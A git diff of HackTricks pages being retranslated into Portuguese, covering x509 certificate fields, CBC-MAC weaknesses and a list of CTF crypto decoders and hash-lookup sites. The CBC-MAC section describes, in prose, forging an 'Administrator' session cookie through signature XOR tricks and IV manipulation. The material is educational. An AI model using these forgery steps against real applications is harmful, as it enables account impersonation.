* O campo **Sujeito** representa o proprietário do certificado, que pode ser uma máquina, um indivíduo ou uma organização. Inclui identificação detalhada, como:
|
* O campo **Sujeito** representa o proprietário do certificado, que pode ser uma máquina, um indivíduo ou uma organização. Inclui identificação detalhada, como:
|
||||||
* **Nome Comum (CN)**: Domínios cobertos pelo certificado.
|
* **Nome Comum (CN)**: Domínios cobertos pelo certificado.
|
||||||
* **País (C)**, **Localidade (L)**, **Estado ou Província (ST, S ou P)**, **Organização (O)** e **Unidade Organizacional (OU)** fornecem detalhes geográficos e organizacionais.
|
* **País (C)**, **Localidade (L)**, **Estado ou Província (ST, S ou P)**, **Organização (O)** e **Unidade Organizacional (OU)** fornecem detalhes geográficos e organizacionais.
|
||||||
* **Nome Distinto (DN)** encapsula a identificação completa do sujeito.
|
* **Nome Distinto (DN)** encapsula a identificação completa do sujeito.
|
||||||
* **Emissor** detalha quem verificou e assinou o certificado, incluindo subcampos semelhantes ao Sujeito para a CA.
|
* **Emissor** detalha quem verificou e assinou o certificado, incluindo subcampos semelhantes aos do Sujeito para a CA.
|
||||||
* O **Período de Validade** é marcado por timestamps **Não Antes** e **Não Depois**, garantindo que o certificado não seja usado antes ou depois de uma certa data.
|
* O **Período de Validade** é marcado por timestamps **Não Antes** e **Não Depois**, garantindo que o certificado não seja usado antes ou depois de uma certa data.
|
||||||
* A seção **Chave Pública**, crucial para a segurança do certificado, especifica o algoritmo, tamanho e outros detalhes técnicos da chave pública.
|
* A seção **Chave Pública**, crucial para a segurança do certificado, especifica o algoritmo, tamanho e outros detalhes técnicos da chave pública.
|
||||||
* As **extensões x509v3** aprimoram a funcionalidade do certificado, especificando **Uso de Chave**, **Uso de Chave Estendida**, **Nome Alternativo do Sujeito** e outras propriedades para ajustar a aplicação do certificado.
|
* As **extensões x509v3** aprimoram a funcionalidade do certificado, especificando **Uso de Chave**, **Uso de Chave Estendida**, **Nome Alternativo do Sujeito** e outras propriedades para ajustar a aplicação do certificado.
|
||||||
|
@ -51,7 +51,7 @@ Em certificados x509, vários **campos** desempenham papéis críticos na garant
|
||||||
* **Uso de Chave** identifica aplicações criptográficas da chave pública, como assinatura digital ou criptografia de chave.
|
* **Uso de Chave** identifica aplicações criptográficas da chave pública, como assinatura digital ou criptografia de chave.
|
||||||
* **Uso de Chave Estendida** restringe ainda mais os casos de uso do certificado, por exemplo, para autenticação de servidor TLS.
|
* **Uso de Chave Estendida** restringe ainda mais os casos de uso do certificado, por exemplo, para autenticação de servidor TLS.
|
||||||
* **Nome Alternativo do Sujeito** e **Restrição Básica** definem nomes de host adicionais cobertos pelo certificado e se é um certificado CA ou de entidade final, respectivamente.
|
* **Nome Alternativo do Sujeito** e **Restrição Básica** definem nomes de host adicionais cobertos pelo certificado e se é um certificado CA ou de entidade final, respectivamente.
|
||||||
* Identificadores como **Identificador de Chave do Sujeito** e **Identificador de Chave da Autoridade** garantem a singularidade e rastreabilidade das chaves.
|
* Identificadores como **Identificador de Chave do Sujeito** e **Identificador de Chave da Autoridade** garantem unicidade e rastreabilidade das chaves.
|
||||||
* **Acesso à Informação da Autoridade** e **Pontos de Distribuição de CRL** fornecem caminhos para verificar a CA emissora e verificar o status de revogação do certificado.
|
* **Acesso à Informação da Autoridade** e **Pontos de Distribuição de CRL** fornecem caminhos para verificar a CA emissora e verificar o status de revogação do certificado.
|
||||||
* **SCTs de Pré-certificado CT** oferecem logs de transparência, cruciais para a confiança pública no certificado.
|
* **SCTs de Pré-certificado CT** oferecem logs de transparência, cruciais para a confiança pública no certificado.
|
||||||
```python
|
```python
|
||||||
|
@ -212,7 +212,7 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,27 +1,28 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> \
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line"> [**Treinamento HackTricks GCP Red Team Expert (GRTE)** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
- Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
- **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# CBC
|
# CBC
|
||||||
|
|
||||||
Se o **cookie** for **apenas** o **nome de usuário** (ou a primeira parte do cookie for o nome de usuário) e você deseja se passar pelo nome de usuário "**admin**". Então, você pode criar o nome de usuário **"bdmin"** e **forçar a entrada** do **primeiro byte** do cookie.
|
Se o **cookie** for **apenas** o **nome de usuário** (ou a primeira parte do cookie for o nome de usuário) e você quiser se passar pelo nome de usuário "**admin**". Então, você pode criar o nome de usuário **"bdmin"** e **bruteforce** o **primeiro byte** do cookie.
|
||||||
|
|
||||||
# CBC-MAC
|
# CBC-MAC
|
||||||
|
|
||||||
**Código de autenticação de mensagem de encadeamento de bloco de cifra** (**CBC-MAC**) é um método usado em criptografia. Funciona pegando uma mensagem e criptografando-a bloco por bloco, onde a criptografia de cada bloco está vinculada ao anterior. Esse processo cria uma **cadeia de blocos**, garantindo que a alteração de até mesmo um único bit da mensagem original levará a uma mudança imprevisível no último bloco de dados criptografados. Para fazer ou reverter tal mudança, a chave de criptografia é necessária, garantindo segurança.
|
**Código de autenticação de mensagem em encadeamento de bloco (CBC-MAC)** é um método usado em criptografia. Funciona pegando uma mensagem e criptografando-a bloco por bloco, onde a criptografia de cada bloco está vinculada à anterior. Esse processo cria uma **cadeia de blocos**, garantindo que mudar até mesmo um único bit da mensagem original levará a uma mudança imprevisível no último bloco de dados criptografados. Para fazer ou reverter tal mudança, a chave de criptografia é necessária, garantindo segurança.
|
||||||
|
|
||||||
Para calcular o CBC-MAC da mensagem m, criptografa-se m no modo CBC com vetor de inicialização zero e mantém o último bloco. A figura a seguir esboça o cálculo do CBC-MAC de uma mensagem composta por blocos ![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) usando uma chave secreta k e um cifrador de bloco E:
|
Para calcular o CBC-MAC da mensagem m, criptografa-se m em modo CBC com vetor de inicialização zero e mantém-se o último bloco. A figura a seguir esboça o cálculo do CBC-MAC de uma mensagem composta por blocos![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) usando uma chave secreta k e um cifrador de bloco E:
|
||||||
|
|
||||||
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
|
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
|
||||||
|
|
||||||
|
@ -30,36 +31,36 @@ Para calcular o CBC-MAC da mensagem m, criptografa-se m no modo CBC com vetor de
|
||||||
Com o CBC-MAC, geralmente o **IV usado é 0**.\
|
Com o CBC-MAC, geralmente o **IV usado é 0**.\
|
||||||
Isso é um problema porque 2 mensagens conhecidas (`m1` e `m2`) independentemente gerarão 2 assinaturas (`s1` e `s2`). Então:
|
Isso é um problema porque 2 mensagens conhecidas (`m1` e `m2`) independentemente gerarão 2 assinaturas (`s1` e `s2`). Então:
|
||||||
|
|
||||||
- `E(m1 XOR 0) = s1`
|
* `E(m1 XOR 0) = s1`
|
||||||
- `E(m2 XOR 0) = s2`
|
* `E(m2 XOR 0) = s2`
|
||||||
|
|
||||||
Então, uma mensagem composta por m1 e m2 concatenados (m3) gerará 2 assinaturas (s31 e s32):
|
Então, uma mensagem composta por m1 e m2 concatenados (m3) gerará 2 assinaturas (s31 e s32):
|
||||||
|
|
||||||
- `E(m1 XOR 0) = s31 = s1`
|
* `E(m1 XOR 0) = s31 = s1`
|
||||||
- `E(m2 XOR s1) = s32`
|
* `E(m2 XOR s1) = s32`
|
||||||
|
|
||||||
**O que é possível calcular sem conhecer a chave da criptografia.**
|
**O que é possível calcular sem conhecer a chave da criptografia.**
|
||||||
|
|
||||||
Imagine que você está criptografando o nome **Administrador** em blocos de **8 bytes**:
|
Imagine que você está criptografando o nome **Administrator** em blocos de **8bytes**:
|
||||||
|
|
||||||
- `Administ`
|
* `Administ`
|
||||||
- `rator\00\00\00`
|
* `rator\00\00\00`
|
||||||
|
|
||||||
Você pode criar um nome de usuário chamado **Administ** (m1) e recuperar a assinatura (s1).\
|
Você pode criar um nome de usuário chamado **Administ** (m1) e recuperar a assinatura (s1).\
|
||||||
Em seguida, você pode criar um nome de usuário chamado o resultado de `rator\00\00\00 XOR s1`. Isso gerará `E(m2 XOR s1 XOR 0)` que é s32.\
|
Então, você pode criar um nome de usuário chamado o resultado de `rator\00\00\00 XOR s1`. Isso gerará `E(m2 XOR s1 XOR 0)` que é s32.\
|
||||||
agora, você pode usar s32 como a assinatura do nome completo **Administrador**.
|
Agora, você pode usar s32 como a assinatura do nome completo **Administrator**.
|
||||||
|
|
||||||
### Resumo
|
### Resumo
|
||||||
|
|
||||||
1. Obtenha a assinatura do nome de usuário **Administ** (m1) que é s1
|
1. Obtenha a assinatura do nome de usuário **Administ** (m1) que é s1
|
||||||
2. Obtenha a assinatura do nome de usuário **rator\x00\x00\x00 XOR s1 XOR 0** é s32**.**
|
2. Obtenha a assinatura do nome de usuário **rator\x00\x00\x00 XOR s1 XOR 0** que é s32**.**
|
||||||
3. Defina o cookie como s32 e ele será um cookie válido para o usuário **Administrador**.
|
3. Defina o cookie para s32 e será um cookie válido para o usuário **Administrator**.
|
||||||
|
|
||||||
# Ataque Controlando IV
|
# Ataque Controlando IV
|
||||||
|
|
||||||
Se você puder controlar o IV usado, o ataque pode ser muito fácil.\
|
Se você puder controlar o IV usado, o ataque pode ser muito fácil.\
|
||||||
Se os cookies forem apenas o nome de usuário criptografado, para se passar pelo usuário "**administrador**" você pode criar o usuário "**Administrador**" e obterá seu cookie.\
|
Se os cookies forem apenas o nome de usuário criptografado, para se passar pelo usuário "**administrator**" você pode criar o usuário "**Administrator**" e obter seu cookie.\
|
||||||
Agora, se você puder controlar o IV, poderá alterar o primeiro byte do IV para que **IV\[0] XOR "A" == IV'\[0] XOR "a"** e regenerar o cookie para o usuário **Administrador**. Este cookie será válido para **se passar** pelo usuário **administrador** com o IV inicial.
|
Agora, se você puder controlar o IV, pode mudar o primeiro byte do IV para que **IV\[0] XOR "A" == IV'\[0] XOR "a"** e regenerar o cookie para o usuário **Administrator.** Este cookie será válido para **se passar** pelo usuário **administrator** com o **IV** inicial.
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
|
@ -67,16 +68,16 @@ Mais informações em [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikiped
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> \
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line"> [**Treinamento HackTricks GCP Red Team Expert (GRTE)** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
- Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
- **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,21 +1,21 @@
|
||||||
# Truques de Crypto CTFs
|
# Crypto CTFs Tricks
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Bancos de Dados de Hashes Online
|
## Online Hashes DBs
|
||||||
|
|
||||||
* _**Pesquise no Google**_
|
* _**Pesquise no Google**_
|
||||||
* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
* [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240)
|
||||||
|
@ -29,34 +29,34 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
|
* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
|
||||||
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
|
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
|
||||||
|
|
||||||
## Autosolvers Mágicos
|
## Magic Autosolvers
|
||||||
|
|
||||||
* [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
|
* [**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)
|
||||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Módulo Mágico)
|
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) (Módulo Mágico)
|
||||||
* [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
* [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||||
* [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
* [https://www.boxentriq.com/code-breaking](https://www.boxentriq.com/code-breaking)
|
||||||
|
|
||||||
## Codificadores
|
## Encoders
|
||||||
|
|
||||||
A maioria dos dados codificados pode ser decodificada com esses 2 recursos:
|
A maioria dos dados codificados pode ser decodificada com esses 2 recursos:
|
||||||
|
|
||||||
* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
* [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list)
|
||||||
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
* [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||||
|
|
||||||
### Autosolvers de Substituição
|
### Substitution Autosolvers
|
||||||
|
|
||||||
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
* [https://www.boxentriq.com/code-breaking/cryptogram](https://www.boxentriq.com/code-breaking/cryptogram)
|
||||||
* [https://quipqiup.com/](https://quipqiup.com) - Muito bom!
|
* [https://quipqiup.com/](https://quipqiup.com) - Muito bom!
|
||||||
|
|
||||||
#### Autosolvers Caesar - ROTx
|
#### Caesar - ROTx Autosolvers
|
||||||
|
|
||||||
* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
|
* [https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript](https://www.nayuki.io/page/automatic-caesar-cipher-breaker-javascript)
|
||||||
|
|
||||||
#### Cifra de Atbash
|
#### Atbash Cipher
|
||||||
|
|
||||||
* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
|
* [http://rumkin.com/tools/cipher/atbash.php](http://rumkin.com/tools/cipher/atbash.php)
|
||||||
|
|
||||||
### Autosolver de Codificações Base
|
### Base Encodings Autosolver
|
||||||
|
|
||||||
Verifique todas essas bases com: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
Verifique todas essas bases com: [https://github.com/dhondta/python-codext](https://github.com/dhondta/python-codext)
|
||||||
|
|
||||||
|
@ -127,19 +127,19 @@ Verifique todas essas bases com: [https://github.com/dhondta/python-codext](http
|
||||||
* **Citrix CTX1** \[]
|
* **Citrix CTX1** \[]
|
||||||
* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
* `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK`
|
||||||
|
|
||||||
[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
[http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng\_atom128c.html) - 404 Morto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||||
|
|
||||||
### HackerizeXS \[_╫Λ↻├☰┏_]
|
### HackerizeXS \[_╫Λ↻├☰┏_]
|
||||||
```
|
```
|
||||||
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
|
╫☐↑Λ↻Λ┏Λ↻☐↑Λ
|
||||||
```
|
```
|
||||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Não encontrado: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
* [http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html) - 404 Morto: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng\_hackerize.html)
|
||||||
|
|
||||||
### Morse
|
### Morse
|
||||||
```
|
```
|
||||||
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
.... --- .-.. -.-. .- .-. .- -.-. --- .-.. .-
|
||||||
```
|
```
|
||||||
* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Não encontrado: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
* [http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng\_morse-encode.html) - 404 Morto: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/)
|
||||||
|
|
||||||
### UUencoder
|
### UUencoder
|
||||||
```
|
```
|
||||||
|
@ -187,7 +187,7 @@ ryvkryvkryvkryvkryvkryvkryvk
|
||||||
```
|
```
|
||||||
drnajapajrna
|
drnajapajrna
|
||||||
```
|
```
|
||||||
* [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard)
|
* [https://www.geocachingtoolbox.com/index.php?lang=pt\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=pt\&page=dvorakKeyboard)
|
||||||
|
|
||||||
### A1Z26
|
### A1Z26
|
||||||
|
|
||||||
|
@ -195,28 +195,28 @@ Letras para seu valor numérico
|
||||||
```
|
```
|
||||||
8 15 12 1 3 1 18 1 3 15 12 1
|
8 15 12 1 3 1 18 1 3 15 12 1
|
||||||
```
|
```
|
||||||
### Cifra Afim Codificar
|
### Affine Cipher Encode
|
||||||
|
|
||||||
Letra para número `(ax+b)%26` (_a_ e _b_ são as chaves e _x_ é a letra) e o resultado de volta para letra
|
Letra para número `(ax+b)%26` (_a_ e _b_ são as chaves e _x_ é a letra) e o resultado de volta para a letra
|
||||||
```
|
```
|
||||||
krodfdudfrod
|
krodfdudfrod
|
||||||
```
|
```
|
||||||
### Código SMS
|
### SMS Code
|
||||||
|
|
||||||
**Multitap** [substitui uma letra](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos pelo código da tecla correspondente em um teclado de [telefone móvel](https://www.dcode.fr/phone-keypad-cipher) (Este modo é usado ao escrever SMS).\
|
**Multitap** [substitui uma letra](https://www.dcode.fr/word-letter-change) por dígitos repetidos definidos pelo código da tecla correspondente em um [teclado de telefone](https://www.dcode.fr/phone-keypad-cipher) (Este modo é usado ao escrever SMS).\
|
||||||
Por exemplo: 2=A, 22=B, 222=C, 3=D...\
|
Por exemplo: 2=A, 22=B, 222=C, 3=D...\
|
||||||
Você pode identificar este código porque verá\*\* vários números repetidos\*\*.
|
Você pode identificar esse código porque você verá\*\* vários números repetidos\*\*.
|
||||||
|
|
||||||
Você pode decodificar este código em: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
Você pode decodificar esse código em: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher)
|
||||||
|
|
||||||
### Código Bacon
|
### Bacon Code
|
||||||
|
|
||||||
Substitua cada letra por 4 As ou Bs (ou 1s e 0s)
|
Substitua cada letra por 4 As ou Bs (ou 1s e 0s)
|
||||||
```
|
```
|
||||||
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
|
00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000
|
||||||
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||||
```
|
```
|
||||||
### Runas
|
### Runes
|
||||||
|
|
||||||
![](../.gitbook/assets/runes.jpg)
|
![](../.gitbook/assets/runes.jpg)
|
||||||
|
|
||||||
|
@ -224,7 +224,7 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA
|
||||||
|
|
||||||
**Raw Deflate** e **Raw Inflate** (você pode encontrar ambos no Cyberchef) podem comprimir e descomprimir dados sem cabeçalhos.
|
**Raw Deflate** e **Raw Inflate** (você pode encontrar ambos no Cyberchef) podem comprimir e descomprimir dados sem cabeçalhos.
|
||||||
|
|
||||||
## Criptografia Fácil
|
## Cripto Fácil
|
||||||
|
|
||||||
### XOR - Autosolver
|
### XOR - Autosolver
|
||||||
|
|
||||||
|
@ -246,7 +246,7 @@ wodsyoidrods
|
